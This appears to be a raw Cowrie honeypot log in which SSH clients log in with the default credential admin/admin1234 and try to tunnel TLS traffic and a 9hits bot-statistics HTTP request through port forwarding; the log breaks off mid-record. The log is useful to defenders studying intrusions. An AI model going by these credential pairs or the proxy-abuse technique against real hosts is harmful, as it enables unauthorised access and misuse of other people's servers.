{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfd\\xe9\\xc2.\\x81+\\x8f\\xf1\\x9d\\n_\\x01\\x88\\x8f\\x11\\xc0I\\x90\\x17\\xc9\\x05\\xdf\\xca\\x8b\\x16\\xde\\x9c\\x91\\xd3\\xc1\\xee\\xdb \\xfb\\xa5\\xf2.M\\xa0\\xd0/\\xf5\\x83\\xf12}\\xefW\\xce\\xc0/\\x00\\xa5\\x05\\xce\\xf6\\x0f0eUr%\\xa2\\x8a\\xf6\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xec\\xcbOjC\\xd4\\xb6\\xfa\\xc5\\xc6\\x15v\\xfc\\xf2k(OB\\xb6W\\xc2\\x82kk0\\xdf!,\\n\\xc8\\x95\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfd\\xe9\\xc2.\\x81+\\x8f\\xf1\\x9d\\n_\\x01\\x88\\x8f\\x11\\xc0I\\x90\\x17\\xc9\\x05\\xdf\\xca\\x8b\\x16\\xde\\x9c\\x91\\xd3\\xc1\\xee\\xdb \\xfb\\xa5\\xf2.M\\xa0\\xd0/\\xf5\\x83\\xf12}\\xefW\\xce\\xc0/\\x00\\xa5\\x05\\xce\\xf6\\x0f0eUr%\\xa2\\x8a\\xf6\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xec\\xcbOjC\\xd4\\xb6\\xfa\\xc5\\xc6\\x15v\\xfc\\xf2k(OB\\xb6W\\xc2\\x82kk0\\xdf!,\\n\\xc8\\x95\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:30.694919Z","src_ip":"123.27.168.40","session":"ce941094d376","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:30.945542Z","session":"ce941094d376","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:31.195248Z","src_ip":"123.27.168.40","session":"ce941094d376","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03w\\xdd\\xa1\\xbe\\x05\\xb6o\\x0e<k\\xb2F@\\xaa\\xfc#\\xcd\\x87\\xbf\\xc9\\x1c}x\\xf6%\\x1f\\xa9\\xa7mT\\x10` \\xd9\\x89\\xaf\\xdc9\\x87\\xcf^/\\xd1\\xa2\\x9c\\\\\\x04\\xbb\\xa4\\xa2\\n\\xd9\\xc4\\x05F!\\x0f\\x9d\\x0b\\x11^o\\x022g\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa8\\xc7\\x00aj\\xcc\\x84Kn\\xbd\\x10\\x97YO\\xb6\\xd9\\xef\\x83\\xf0\\xa6\\xa2\"v{\\x14\\x96\\xdbzNn\\x8f\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03w\\xdd\\xa1\\xbe\\x05\\xb6o\\x0e<k\\xb2F@\\xaa\\xfc#\\xcd\\x87\\xbf\\xc9\\x1c}x\\xf6%\\x1f\\xa9\\xa7mT\\x10` \\xd9\\x89\\xaf\\xdc9\\x87\\xcf^/\\xd1\\xa2\\x9c\\\\\\x04\\xbb\\xa4\\xa2\\n\\xd9\\xc4\\x05F!\\x0f\\x9d\\x0b\\x11^o\\x022g\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa8\\xc7\\x00aj\\xcc\\x84Kn\\xbd\\x10\\x97YO\\xb6\\xd9\\xef\\x83\\xf0\\xa6\\xa2\"v{\\x14\\x96\\xdbzNn\\x8f\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:31.199884Z","src_ip":"123.27.168.40","session":"ce941094d376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:31.585766Z","src_ip":"123.27.168.40","session":"ce941094d376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":64618,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4de7ffea88b","protocol":"ssh","message":"New connection: 23.175.50.47:64618 (10.17.0.5:22) [session: d4de7ffea88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:34.331360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:34.335159Z","src_ip":"23.175.50.47","session":"d4de7ffea88b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:34.413596Z","src_ip":"23.175.50.47","session":"d4de7ffea88b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:35.482256Z","src_ip":"23.175.50.47","session":"d4de7ffea88b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":56243,"dst_ip":"10.17.0.5","dst_port":22,"session":"67bd00d6736b","protocol":"ssh","message":"New connection: 123.27.168.40:56243 (10.17.0.5:22) [session: 67bd00d6736b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:36.662365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:36.666463Z","src_ip":"123.27.168.40","session":"67bd00d6736b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:36.902840Z","src_ip":"123.27.168.40","session":"67bd00d6736b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:37.977976Z","src_ip":"123.27.168.40","session":"67bd00d6736b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:38.365277Z","session":"67bd00d6736b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:38.486454Z","session":"67bd00d6736b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:38.597005Z","src_ip":"123.27.168.40","session":"67bd00d6736b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.1 Mobile/16A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=OGs2SmJ2e1VAUHdLJGNZMw%3D%3DMAD8Ku3ZqeSVWFEvr7sugjnnEnawnBvQLwpaNEVHkxF2TE8suO1dfsN9Pdbcop2089jOqTYJK2kz1URXHWqZv7I%2BlEsw51NCQOMdSvczJOubXeTqPeGH4I5xyOF9TexZ%2FJotAJXvFQIox9kX40wU%2FZH1OPgjQux1U6Y9S9pBZoL01Epy7pNP%2FLpJ4mbsV21Aa8jXvzoX5TH9wBb1udS%2BMQ%2Bt3z3FmNnrrX23yNILXViJm%2FULHlh6NBk%2BxiAZqE%2F0Z4vk%2BtQCyEdOP7cf78dKkttX93boH%2F8p3aU3xR1Ey455C1MwxPYPF%2BNva0sYZCPBZxXstbyen50E%2FOib0ijloYmw%2F3ZKpFjJt7knjfcAV7wj77EL6efd%2B6Mi63TkfvKw8txKo1LCnr2Hsu1ZGkvKfzTFbIgwu29m8Uh06gx7Br6Xtamkl1G%2BUAedXfDPUDK23%2BQDHSQCsy303IsqEHu6oh3MxXrzem8FwVy0dxvS1KnxoVhgnElZAb12HFpXRgLOmV9tlcajAmbabnPtHn9M2gTqdOeWH4kSfUiF3xs4Lt73rkZ7deYzRErNoy3OYKX%2BY0GbQghcqkfVrmuWSKv7oDaViv57AXwYxDR%2FuOMmAt6XIL2rQxaH16HK22ntGAVFKWF9n1nguPUrehdSLJRp0%2B7%2FR%2FamatNm0Vkrp6ijL7up72poh85ue7blZ8EdXjPS9Gwnt2ZBA%2FGggedf2NcHGhbYl4V4iNXxgAFMFS%2FKxZJZcieXS2MVytng8Q3Rv73xyGu91GITLCvNizE736xt0XyKbKZrZXwNt3Ze6xE166L4Ehvwv3WeAQ8pMr7uSY6MQ%2Bn%2BKIfN9JlLQCS8u%2B8L4N6G3CrG4JyCX3OR89PIar%2BoAqzvzrpjCRVnDKalGAHrMcRd0J%2FdwM4Xx5oV0lzYVlEoTNeHBnHQHr7qnJ0f8us%2B9qka%2BfJ%2FO3NmaR%2BXjncMEd7gQZU2BP0Qxummcf02GmscVGTe9uPv7UcllDw7Mp%2FB%2BXVtFdCFeL6vajCHxIKgnZF8uIpMdnwdYJwOOyr4MzE1MoY20NzM%2FoDTOGMRVBQ%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.1 Mobile/16A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=OGs2SmJ2e1VAUHdLJGNZMw%3D%3DMAD8Ku3ZqeSVWFEvr7sugjnnEnawnBvQLwpaNEVHkxF2TE8suO1dfsN9Pdbcop2089jOqTYJK2kz1URXHWqZv7I%2BlEsw51NCQOMdSvczJOubXeTqPeGH4I5xyOF9TexZ%2FJotAJXvFQIox9kX40wU%2FZH1OPgjQux1U6Y9S9pBZoL01Epy7pNP%2FLpJ4mbsV21Aa8jXvzoX5TH9wBb1udS%2BMQ%2Bt3z3FmNnrrX23yNILXViJm%2FULHlh6NBk%2BxiAZqE%2F0Z4vk%2BtQCyEdOP7cf78dKkttX93boH%2F8p3aU3xR1Ey455C1MwxPYPF%2BNva0sYZCPBZxXstbyen50E%2FOib0ijloYmw%2F3ZKpFjJt7knjfcAV7wj77EL6efd%2B6Mi63TkfvKw8txKo1LCnr2Hsu1ZGkvKfzTFbIgwu29m8Uh06gx7Br6Xtamkl1G%2BUAedXfDPUDK23%2BQDHSQCsy303IsqEHu6oh3MxXrzem8FwVy0dxvS1KnxoVhgnElZAb12HFpXRgLOmV9tlcajAmbabnPtHn9M2gTqdOeWH4kSfUiF3xs4Lt73rkZ7deYzRErNoy3OYKX%2BY0GbQghcqkfVrmuWSKv7oDaViv57AXwYxDR%2FuOMmAt6XIL2rQxaH16HK22ntGAVFKWF9n1nguPUrehdSLJRp0%2B7%2FR%2FamatNm0Vkrp6ijL7up72poh85ue7blZ8EdXjPS9Gwnt2ZB